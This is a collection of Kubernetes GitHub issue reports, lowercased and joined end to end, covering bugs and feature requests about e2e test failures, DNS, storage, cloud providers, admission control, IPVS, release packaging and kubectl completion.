org.springframework.context.annotation.annotationconfigapplicationcontext@14514713: startup date  mon mar 13 20:58:24 gmt 2017 ; root of context hierarchy     2017-03-13 20:58:26.209  info 6 ---             main  o.s.j.e.a.annotationmbeanexporter        : registering beans for jmx exposure on startup     2017-03-13 20:58:26.230  info 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : asking k8s registry at https://kubernetes.default.svc.cluster.local..     2017-03-13 20:58:26.713  warn 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : request to kubernetes api failed          java.io.ioexception: server returned http response code: 403 for url: https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/endpoints/hazelcast     \tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111      \tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1474  ~ na:1.8.0_111      \tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111      \tat com.github.pires.hazelcast.hazelcastdiscoverycontroller.run hazelcastdiscoverycontroller.java:118  ~ classes!/:na      \tat org.springframework.boot.springapplication.callrunner springapplication.java:801   spring-boot-1.4.4.release.jar!/:1.4.4.release      \tat org.springframework.boot.springapplication.callrunners springapplication.java:785   spring-boot-1.4.4.release.jar!/:1.4.4.release      \tat org.springframework.boot.springapplication.afterrefresh springapplication.java:772   spring-boot-1.4.4.release.jar!/:1.4.4.release      \tat org.springframework.boot.springapplication.run springapplication.java:317   spring-boot-1.4.4.release.jar!/:1.4.4.release      \tat org.springframework.boot.builder.springapplicationbuilder.run springapplicationbuilder.java:134   spring-boot-1.4.4.release.jar!/:1.4.4.release      \tat com.github.pires.hazelcast.application.main application.java:28   classes!/:na      \tat sun.reflect.nativemethodaccessorimpl.invoke0 native method  ~ na:1.8.0_111      \tat sun.reflect.nativemethodaccessorimpl.invoke nativemethodaccessorimpl.java:62  ~ na:1.8.0_111      \tat sun.reflect.delegatingmethodaccessorimpl.invoke delegatingmethodaccessorimpl.java:43  ~ na:1.8.0_111      \tat java.lang.reflect.method.invoke method.java:498  ~ na:1.8.0_111      \tat org.springframework.boot.loader.mainmethodrunner.run mainmethodrunner.java:48   bootstrapper.jar:na      \tat org.springframework.boot.loader.launcher.launch launcher.java:87   bootstrapper.jar:na      \tat org.springframework.boot.loader.launcher.launch launcher.java:50   bootstrapper.jar:na      \tat org.springframework.boot.loader.jarlauncher.main jarlauncher.java:51   bootstrapper.jar:na           2017-03-13 20:58:26.714  info 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : found 0 pods running hazelcast.     2017-03-13 20:58:26.867  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  interfaces is disabled, trying to pick one address from tcp-ip config addresses:        2017-03-13 20:58:26.869  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  prefer ipv4 stack is true.     2017-03-13 20:58:26.870  warn 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  could not find a matching address to start with! picking one of non-loopback addresses.     2017-03-13 20:58:26.886  info 6 ---             main  c.h.instance.defaultaddresspicker        :  local   somegroup   3.7.5  picked  10.180.3.13 :5701, using socket serversocket addr=/0:0:0:0:0:0:0:0,localport=5701 , bind any local is true     2017-03-13 20:58:26.922  info 6 ---             main  com.hazelcast.system                     :  10.180.3.13 :5701  somegroup   3.7.5  hazelcast 3.7.5  20170124 - 111f332  starting at  10.180.3.13 :5701     2017-03-13 20:58:26.923  info 6 ---             main  com.hazelcast.system                     :  10.180.3.13 :5701  somegroup   3.7.5  copyright  c  2008-2016, hazelcast, inc. all rights reserved.     2017-03-13 20:58:26.923  info 6 ---             main  com.hazelcast.system                     :  10.180.3.13 :5701  somegroup   3.7.5  configured hazelcast serialization version : 1     2017-03-13 20:58:27.392  info 6 ---             main  c.h.s.i.o.impl.backpressureregulator     :  10.180.3.13 :5701  somegroup   3.7.5  backpressure is disabled     2017-03-13 20:58:28.338  info 6 ---             main  com.hazelcast.instance.node              :  10.180.3.13 :5701  somegroup   3.7.5  creating tcpipjoiner     2017-03-13 20:58:28.596  info 6 ---             main  c.h.s.i.o.impl.operationexecutorimpl     :  10.180.3.13 :5701  somegroup   3.7.5  starting 2 partition threads     2017-03-13 20:58:28.598  info 6 ---             main  c.h.s.i.o.impl.operationexecutorimpl     :  10.180.3.13 :5701  somegroup   3.7.5  starting 3 generic threads  1 dedicated for       2017-03-13 20:58:28.612  info 6 ---             main  com.hazelcast.core.lifecycleservice      :  10.180.3.13 :5701  somegroup   3.7.5   10.180.3.13 :5701 is starting     2017-03-13 20:58:28.618  info 6 ---             main  c.h.n.t.n.nonblockingiothreadingmodel    :  10.180.3.13 :5701  somegroup   3.7.5  tcpipconnectionmanager configured with non blocking io-threading model: 3 input threads and 3 output threads     2017-03-13 20:58:28.643  info 6 ---             main  com.hazelcast.cluster.impl.tcpipjoiner   :  10.180.3.13 :5701  somegroup   3.7.5                 members  1  {     \tmember  10.180.3.13 :5701 - 7c2022ee-d9de-496d-9969-5d1da8ca1b31 this     }          2017-03-13 20:58:28.721  info 6 ---             main  com.hazelcast.core.lifecycleservice      :  10.180.3.13 :5701  somegroup   3.7.5   10.180.3.13 :5701 is started     2017-03-13 20:58:28.726  info 6 ---             main  com.github.pires.hazelcast.application   : started application in 5.814 seconds  jvm running for 6.687      \  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:569     issues about this test specifically:  27850  30672  33271  previous issues for this suite:  36939  39382  39874  42107

triage cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html 07c79399f68917888ccb\r \r example failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-non-cri-gke-multizone/2506\r \r /assign @madhusudancs @csbell @quinton-hoole \r /assign @saad-ali @childsb

we still have a lot of reports of dns issues.  it would be super cool to have a diagnoser program that could run as a pod in your cluster, and would gather information about dns - how many replicas are running, how many restarts they have, do a bunch of dns lookups of various kinds - in-cluster, out of cluster, a, ptr, srv - and collect the latencies and dropped requests.\r \r something like  kubectl apply -f http://kubernetes.io/diagnose/dns.yaml && kubectl attach -ti dns-diagnoser | tee dns.out  or similar.\r \r i'm filing this as help-wanted - it seems like something that a newcomer could tackle to learn how to use kubernetes and produce a valuable result!

we hit an interesting thing in kops, because of the use of  %h  in kubernetes source code here https://github.com/kubernetes/kubernetes/blob/master/pkg/version/base.go l54, which we vendor:\r https://github.com/kubernetes/kops/issues/2630 issuecomment-304044522\r \r it appears that on a github release, the tarball is expanded dynamically.  at some stage git/github changed behaviour on the length of abbreviated shas  or maybe we hit a threshold on repo size in kops .\r \r but presumably the same applies to kubernetes itself, and so the tar.gz files uploaded to github are not immutable, and will likely change in the future.\r \r i don't know if this has any practical consequence for kubernetes/kubernetes - e.g. whether we are signing the kubernetes tar.gz release files.  brew doesn't like it, so it is possible that a kubectl build-from-source recipe broke, for example  ? .\r \r proposed solutions we've come up with so far:\r \r   upload our own tarball\r   use %h and hope there are no other non-repeatable fields\r   document  likely in this issue  that the tarballs are not release artifacts\r \r

is this a bug report or feature request?  :\r   \r   what happened  :\r creating service type: loadbalancer, sessionaffinity: clientip , service has no affinity.\r \r   what you expected to happen  :\r the service has affinity\r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a service, its yaml as following:\r kind: service\r apiversion: v1\r metadata:\r   labels:\r     app: application\r   name: application\r spec:\r   type: loadbalancer\r   ports:\r   - port: 80\r     targetport: 9091\r   sessionaffinity: clientip\r   selector:\r     app: application\r 2. get request from neutron, check the value of \ persistence\ \r \r   anything else we need to know?  :\r kubernetes's openstack cloudprovider can't set persistence to \ source_ip\ .\r \r   environment  :\r - kubernetes version  use  kubectl version  :    kubernetes 1.6.4\r

 \r   what happened  :\r services of type loadbalancer  gce  with ip addresses promoted to static  by user or by orphan  cause the service controller to panic. the constant panicking will cause a reboot loop of the pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a service on gcp\r 2. expose it\r 3. in the gcp console, promote the ip address of the lb to static.\r \r   environment  :\r - kubernetes version: \r 1.7.0\r - cloud provider or hardware configuration  :\r gce\r

i'm seeing changes show up in types.generated.go when running hack/update-all.sh that are unrelated to the changes i'm making, and cause ci to fail.\r \r example:\r https://github.com/kubernetes/kubernetes/pull/45294/commits/4774babcacf1d8ae34e2300c8cc48f1ad6ca77bc diff-84c1f4a54ef63a83dfee0975f6895d71\r https://k8s-gubernator.appspot.com/pr/45294\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/45294/pull-kubernetes-verify/39502/\r \r i ran with my pr rebased on latest master, ran  make clean  and  hack/godep-restore.sh  first, am running go1.8.3, etc\r \r cc @caesarxuchao @sttts

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   \r   what happened  :\r \r when vmss is used on azure, kubelet reports  failed to get external id from cloud provider  error and couldn't recovert itself.\r \r   what you expected to happen  :\r \r kubelet should register itselft correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a kubernetes cluster with vmss vmtype and scale instances numbers > 10.\r \r   anything else we need to know?  :\r \r when instances count is greater than 10, azure will generate instance hostname with upper cases. but kubelet always converts hostname to lower case. \r \r so azure cloud provider should also covert osprofile.computername to lower case.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r unable to dynamic provision pvc with xfs\r \r   what you expected to happen  :\r successfully attach/mount/allocate pvc with xfs fstype\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create storage class\r    \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: slow\r provisioner: kubernetes.io/aws-ebs\r parameters:\r   type: gp2\r   zones: us-east-1a, us-east-1c, us-east-1e\r   fstype: xfs\r    \r 2. create pvc\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: jenkins-pv-claim\r   namespace: jenkins\r spec:\r   accessmodes:\r     - readwriteonce\r   storageclassname: slow\r   resources:\r     requests:\r       storage: 100gi\r    \r 3. create deployment\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: jenkins\r   namespace: jenkins\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: master\r     spec:\r       containers:\r       - name: master\r         image: jenkinsci/blueocean:1.4.0\r         ports:\r         - containerport: 8080\r         - containerport: 50000\r         readinessprobe:\r           httpget:\r             path: /login\r             port: 8080\r           periodseconds: 10\r           timeoutseconds: 5\r           successthreshold: 2\r           failurethreshold: 5\r         env:\r         - name: jenkins_opts\r           valuefrom:\r             secretkeyref:\r               name: jenkins\r               key: options\r         - name: java_opts\r           value: '-xmx1400m'\r         volumemounts:\r         - mountpath: /var/jenkins_home\r           name: jenkins-home\r         resources:\r           limits:\r             cpu: 500m\r             memory: 1500mi\r           requests:\r             cpu: 500m\r             memory: 1500mi\r       volumes:\r       - name: jenkins-home\r         persistentvolumeclaim:\r           claimname: jenkins-pv-claim\r    \r 4. deployment created successfully, but kubelet log shows:\r    \r i0125 19:54:58.813608    1059 mount_linux.go:469  disk \ /dev/xvdbz\  appears to be unformatted, attempting to format as type: \ xfs\  with options:  /dev/xvdbz \r e0125 19:54:58.813748    1059 mount_linux.go:476  format of disk \ /dev/xvdbz\  failed: type: \ xfs\   target: \ /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/us-east-1a/vol-0eb2d0c5a75b8e7ba\   options:  \ defaults\   error: executable file not found in $path \r    \r \r   anything else we need to know?  :\r replace \ xfs\  with \ ext4\  works\r    \r i0125 19:59:35.155107    1059 mount_linux.go:469  disk \ /dev/xvdbq\  appears to be unformatted, attempting to format as type: \ ext4\  with options:  -f /dev/xvdbq \r i0125 19:59:36.748593    1059 mount_linux.go:473  disk successfully formatted  mkfs : ext4 - /dev/xvdbq /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/us-east-1a/vol-0e816fb8e9944e8b5\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t21:12:46z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.5-rancher1\ , gitcommit:\ 6cb179822b9f77893eac5612c91a0ed7c0941b45\ , gittreestate:\ clean\ , builddate:\ 2017-12-11t17:40:37z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws ec2 m4.large, ebs 8gb ext4 at /, ebs 100gb xfs at /var/lib/docker\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux ip-10-2-1-222 4.4.0-1049-aws  58-ubuntu smp fri jan 12 23:17:09 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r rancher 1.6.14\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r as of now, system-cluster-critical and system-node-critical priorityclasses resolution to  happening in memory at admission controller level. this causes problems while listing priorityclasses as they don't show up.\r \r   what you expected to happen  :\r they should be in api storage so that they are available for kubectl operations. they could be auto-created during cluster bootstrap phase of  enabled.\r \r /cc @derekwaynecarr @bsalamat @liggitt @aveshagarwal \r  \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r when eventratelimit has included in admission control, kubelet is unable to start kube-apiserver pod.\r   what you expected to happen  :\r kube-apiserver to start.\r   how to reproduce it  as minimally and precisely as possible   :\r setup kubernetes master using kubeadm.\r apply weave-net cni\r once the master is ready, stop the kubelet. make changes to kube-apiserver.yaml as below to include   eventratelimit   in admission control,   - --runtime-config=apiserver.k8s.io/v1alpha1,eventratelimit.admission.k8s.io/v1alpha1=true  \r    \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r   creationtimestamp: null\r   labels:\r     component: kube-apiserver\r     tier: control-plane\r   name: kube-apiserver\r   namespace: kube-system\r spec:\r   containers:\r   - command:\r     - kube-apiserver\r     - --runtime-config=apiserver.k8s.io/v1alpha1,eventratelimit.admission.k8s.io/v1alpha1=true\r     - --kubelet-preferred-address-types=internalip,externalip,hostname\r     - --requestheader-username-headers=x-remote-user\r     - --tls-cert-file=/etc/kubernetes/pki/apiserver.crt\r     - --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt\r     - --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt\r     - --requestheader-group-headers=x-remote-group\r     - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt\r     - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key\r     - --secure-port=6443\r     - --insecure-port=0\r     - --admission-control=eventratelimit,initializers,namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,defaulttolerationseconds,noderestrict\r ion,resourcequota\r     - --admission-control-config-file=/etc/kubernetes/admission-control/control-config.yaml\r     - --enable-bootstrap-token-auth=true\r     - --requestheader-allowed-names=front-proxy-client\r     - --service-cluster-ip-range=10.96.0.0/12\r     - --service-account-key-file=/etc/kubernetes/pki/sa.pub\r     - --allow-privileged=true\r     - --requestheader-extra-headers-prefix=x-remote-extra-\r     - --advertise-address=10.142.0.2\r     - --client-ca-file=/etc/kubernetes/pki/ca.crt\r     - --tls-private-key-file=/etc/kubernetes/pki/apiserver.key\r     - --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key\r     - --authorization-mode=node,rbac\r     - --etcd-servers=http://127.0.0.1:2379\r     image: gcr.io/google_containers/kube-apiserver-amd64:v1.9.5\r     livenessprobe:\r       failurethreshold: 8\r       httpget:\r         host: 10.142.0.2\r         path: /healthz\r         port: 6443\r         scheme: https\r       initialdelayseconds: 15\r       timeoutseconds: 15\r     name: kube-apiserver\r     resources:\r       requests:\r         cpu: 250m\r     volumemounts:\r     - mountpath: /etc/kubernetes/pki\r       name: k8s-certs\r       readonly: true\r     - mountpath: /etc/ssl/certs\r       name: ca-certs\r       readonly: true\r     - mountpath: /etc/pki\r       name: ca-certs-etc-pki\r       readonly: true\r     - mountpath: /etc/kubernetes/admission-control\r       name: admission-control\r       readonly: true\r   hostnetwork: true\r   volumes:\r   - hostpath:\r       path: /etc/kubernetes/pki\r       type: directoryorcreate\r     name: k8s-certs\r   - hostpath:\r       path: /etc/ssl/certs\r       type: directoryorcreate\r     name: ca-certs\r   - hostpath:\r       path: /etc/pki\r       type: directoryorcreate\r     name: ca-certs-etc-pki\r   - hostpath:\r       path: /etc/kubernetes/admission-control\r       type: directoryorcreate\r     name: admission-control\r status: {}\r \r    \r create eventratelimit .yaml file under /etc/kubernetes/admission-control/\r    \r kind: configuration\r apiversion: eventratelimit.admission.k8s.io/v1alpha1\r limits:\r - type: namespace\r   qps: 50\r   burst: 100\r   cachesize: 2000\r - type: user\r   qps: 10\r   burst: 50\r    \r create admission-control-config file as below:\r    \r kind: admissionconfiguration\r apiversion: apiserver.k8s.io/v1alpha1\r plugins:\r - name: eventratelimit\r   path: /etc/kubernetes/admission-control/eventratelimit.yaml\r - name: initializers\r - name: namespacelifecycle\r - name: limitranger\r - name: serviceaccount\r - name: defaultstorageclass\r - name: defaulttolerationseconds\r - name: noderestriction\r - name: resourcequota\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r when the kubeapiserver constructs the client for talking to the admission webhook, it  always use port 443  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/admission/plugin/webhook/config/client.go l134-l142  when constructing from  serviceref  https://github.com/kubernetes/api/blob/master/admissionregistration/v1beta1/types.go l269-l281 \r \r 

 \r today many of in-tree volume plugin's dependencies are injected through the volumehost interface, but there are several pain points:\r   it's difficult to see a list of dependencies for each plugin.\r   volume plugins have to embed nil checks for their volumehost dependencies directly in the code path that uses them. this makes plugins more prone to bugs.\r   if a particular dependency is missing, there is no way to explicitly configure whether initialization of the caller component  e.g. kubelet, controller manager  should fail, or just skip plugin initialization. for different caller situations either option is possible.\r     today, returning an error in the volume plugin's  init    call when a dependency is missing causes the caller component to fail.\r \r investigate whether it makes sense to improve this dependency injection mechanism.\r \r  / /cc @saad-ali

what happened  :\r when deleting a service, graceful termination does not work:\r - if no rs is in the graceful termination list, the vs will be deleted and traffic from existing connections will be blackholed\r - if an rs is in graceful termination, vs deletion will be postponed, but the clusterip  and others  will be unbound from kube-ipvs0 so traffic will be blackholed\r \r   what you expected to happen  :\r graceful termination to work, and no traffic blackholing\r \r   how to reproduce it  as minimally and precisely as possible   :\r no pod in graceful termination:\r 1- create a service backed by a deployment\r 2- establish a long lived connection from a pod\r 3- delete the service\r => vs will be deleted, addresses unbound and traffic from the pod will be blackholed\r \r one pod in graceful termination:\r 1- create a service backed by a deployment\r 2- establish a long lived connection from a pod\r 3- delete a pod from the deployment backing the service\r 3- delete the service\r => vs will not be deleted, but addresses will be unbound and traffic from the client pod will be blackholed\r \r   anything else we need to know?  :\r two reasons for this issue:\r -  cleanlegacyservice  does not trigger graceful termination for current real servers\r -  cleanlegacybindaddr  is always called and does not take into the graceful termination list\r \r   environment  :\r - kubernetes version  use  kubectl version  : kube-proxy  v1.13.0-alpha.3 \r - os  e.g. from /etc/os-release :  ubuntu 18.04.1 lts \r - kernel  e.g.  uname -a  :  linux ip-10-128-212-113 4.15.0-1023-aws  23-ubuntu smp mon sep 24 16:31:06 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r /area ipvs\r   \r /assign @m1093782566

what would you like to be added  :\r the kube-conformance image should support setting the dryrun option just like focus/skip. \r \r   why is this needed  :\r this is a very commonly requested feature in sonobuoy since users often are setting up/experimenting with runs and want to check what a certain regexp will hit without actually running it.\r \r change will be here: \r https://github.com/kubernetes/kubernetes/blob/9c5cf3ccf77225fd38772a5a9162d6dc7f818d20/cluster/images/conformance/run_e2e.sh l42-l51\r \r 

recently i've been trying to get keystone working with kubernetes and found a issue when i mentioned v3 of keystone for the apiserver:      i0503 01:01:43.705376   55307 keystone.go:46  failed: starting openstack authenticate client e0503 01:01:43.705398   55307 handlers.go:37  unable to authenticate the request due to an error: failed to authenticate i0503 01:01:43.705453   55307 handlers.go:152  get /api:  227.35µs  401   kubectl/v1.2.3  linux/amd64  kubernetes/882d296  9.47.81.108:58623       with the help of additional logging into keystone.go file found following error      i0503 01:01:43.705313   55307 keystone.go:45  you must provide exactly one of domainid or domainname to authenticate by username i0503 01:01:43.705376   55307 keystone.go:46  failed: starting openstack authenticate client e0503 01:01:43.705398   55307 handlers.go:37  unable to authenticate the request due to an error: failed to authenticate      for keystone v3 auth for rackspace/gophercloud package we need to supply domainid or domainname in opts structure variable to openstack.authenticatedclient call.  imo we have following two solutions: 1. supply domainid or domainname to the kube-apiserver cmd via option like --keystone-domain-name or --keystone-domain-id 2. find a way to send domainid/domainname via kubectl command like we send username/password  need a suggestion here to handle this issue!

the kubernetes 1.3 release tarball is 1.4g.  that is insane.  while we know that much of this is due to the fact that we include all architectures, it make kubernetes feel heavier than it is.  much of the space is the fact that 4 server platforms are now created and packaged with everything else.  each target is a ~325m tarball.  these tarballs include both individual binaries along with docker images that include those binaries.  they include kubectl  which is available naked in the release .  we also have 9 copies of kubectl for various targets totaling 450mb.  things we can do to slim this down: -  x  start building release tars per-architecture.  either include non-arch specific stuff in every tar or break that out too.   28629, owner?  -     finish transition to hyperkube and deprecate the individual binaries.  . we could move the individual binaries into a different tar for those that still need them.  for  amd64  hyperkube is 132m uncompressed and 26m compressed.  this means we could go from a 350m compressed tar for the amd64 target down to 26m.   16508, owner?  -     have the ability to build the docker images on the fly.  it should be easy to automate  as part of the binary  creating a dockerfile, referencing the running binary and driving docker.   hyperkube admin create-container-image  could do this. we could also support  hyperkube admin create-container-image --aci  and  hyperkube admin create-container-image --docker --just-dockerfile .   28630, owner?    - i understand that gzip does a decent job of de-duping stuff here.  but the uncompressed footprint balloons and looks bad. -     break out kubectl as a separate download from the server components.   gcloud  already ships it separately.  the user cases here differ dramatically.   28631, owner?  -     reevaluate all of our targets.  do we really need 32bit windows?   28632, owner?  -  x  why are the federation targets new binaries? they add 150m uncompressed for amd64.  i don't know enough to say here but could these be folded in to hyperkube?  i'm guessing they could.    28633, @madhusudancs  -  x  don't ship binaries that we don't really need.  we included  kubemark  here.  no end users will actually use that.  this is 100m uncompressed.   28635, owner?   also related:  27444  builds are taking too long

kubernetes version    use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6+ae4550c\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ not a git tree\ , builddate:\ 2016-08-30t15:45:50z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ }     environment  : -   cloud provider or hardware configuration  : mac os 10.10 -   os    e.g. from /etc/os-release : n/a -   kernel    e.g.  uname -a  :  darwin pcpcpc.local 14.5.0 darwin kernel version 14.5.0: mon jan 11 18:48:35 pst 2016; root:xnu-2782.50.2~1/release_x86_64 x86_64  -   install tools  : brew -   others  :    what happened  : using the  kubeconfig  flag seems to break completion. if i use completions, without the flag, i am able to view commands and flags, when i double tab. once the option is on the command line, completion deletes the entire command string, if i tab.    what you expected to happen  : commands, for kubectl should be displayed. if i do not use the  kubeconfig  flag, completions work as expected.    how to reproduce it    as minimally and precisely as possible : underscore indicates a single tab      $ kubectl completion bash > /tmp/kube $ source /tmp/kube $ kubectl --k_ $ kubectl --kubeconfig= $ kubectl --kubeconfig=_ $ kubectl --kubeconfig=--kubeconfig=__ addons/              credentials/         k8.pem               stack-template.json cluster.yaml         k8.json              kubeconfig           userdata/ $ kubectl --kubeconfig=--kubeconfig=kubeconfig _-bash: --kubeconfig=: attempted assignment to non-variable  error token is \ =\   $           $ kubectl completion bash > /tmp/kube $ source /tmp/kube $ kubectl --k_ $ kubectl --kubeconfig=kubeconfig _-bash: --kubeconfig=: attempted assignment to non-variable  error token is \ =\   $

currently, building a general-purpose orchestrator for our api is more challenging than it should be.\r \r some problems  probably not exhaustive :\r - there's no general way to determine when applications and/or services are \ ready\ , such as for cases where applications need other applications to be up in order to start properly, which apparently is the case for some non-cloud-native applications   1768,  29453 . service-level readiness would be useful for a number of purposes. disruption budget is related.\r - there's no general way to determine when operations, such as cascading deletion   29891 , scaling, or deployment, are \ done\ . deletion is a special case, but most other cases amount to observed state matching desired state  or desired state has subsequently changed again . this is related to generation and observedgeneration.\r - there's no general way to determine when operations, such as deployment, \ fail\ . in most cases, i think this amounts to inability to achieve the desired state within an acceptable amount of time.\r - there's no general way to hook creation and deletion  though finalizers should address the latter   3585, nor other resource lifecycle events  3692.\r - there's no general way to query resource inter-dependencies.\r - there's no general way to shutdown a cluster without leaking external resources  e.g., external load balancers .\r \r see also:\r  29453\r  1899\r  5164\r  30698\r  4630\r  15203\r  29891\r  14961\r  14181\r  1503\r  32157\r  38216\r \r cc @lavalamp @pwittrock @smarterclayton \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : joyent triton\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r joyent triton provides their own docker api to their lx brand container system. this api does not implement any network support at all. by setting  network-plugin=\ \   i can successfully bring up pod containers, but the service containers pass  container:%v  to network, causing the joyent api to respond with an error.\r \r this changed with https://github.com/kubernetes/kubernetes/commit/244152544ce diff-e2eefa11d78ba95197ce406772c18c30r2317\r \r add a switch to override this behavior.\r \r   kubernetes version    use  kubectl version  :\r version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : joyent triton\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts\r -   kernel    e.g.  uname -a  : linux d1c44610-9e5a-4855-9f54-c27eab561235 4.4.0-57-generic  78-ubuntu smp fri dec 9 23:50:32 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : manual install\r -   others  :\r $docker_endpoint/version: \r    \r {\ apiversion\ :\ 1.21\ ,\ arch\ :\ i386\ ,\ buildtime\ :\ 2016-12-08t06:14:18z\ ,\ gitcommit\ :\ 8599a55\ ,\ goversion\ :\ node4.6.1\ ,\ os\ :\ solaris\ ,\ version\ :\ 1.9.0\ }\r    \r $docker_endpoint/info: \r    \r {\ architecture\ :\ x86_64\ ,\ driver\ :\ sdc\ ,\ driverstatus\ :  \ sdcaccount\ ,\ sampleaccount\   ,\ executiondriver\ :\ sdc-0.4.0\ ,\ kernelversion\ :\ 3.12.0-1-amd64\ ,\ loggingdriver\ :\ json-file\ ,\ operatingsystem\ :\ smartdatacenter\ ,\ ostype\ :\ linux\ ,\ name\ :\ us-sw-1\ ,\ indexserveraddress\ :\ https://index.docker.io/v1/\ ,\ memorylimit\ :true,\ swaplimit\ :true,\ ipv4forwarding\ :true,\ id\ :\ 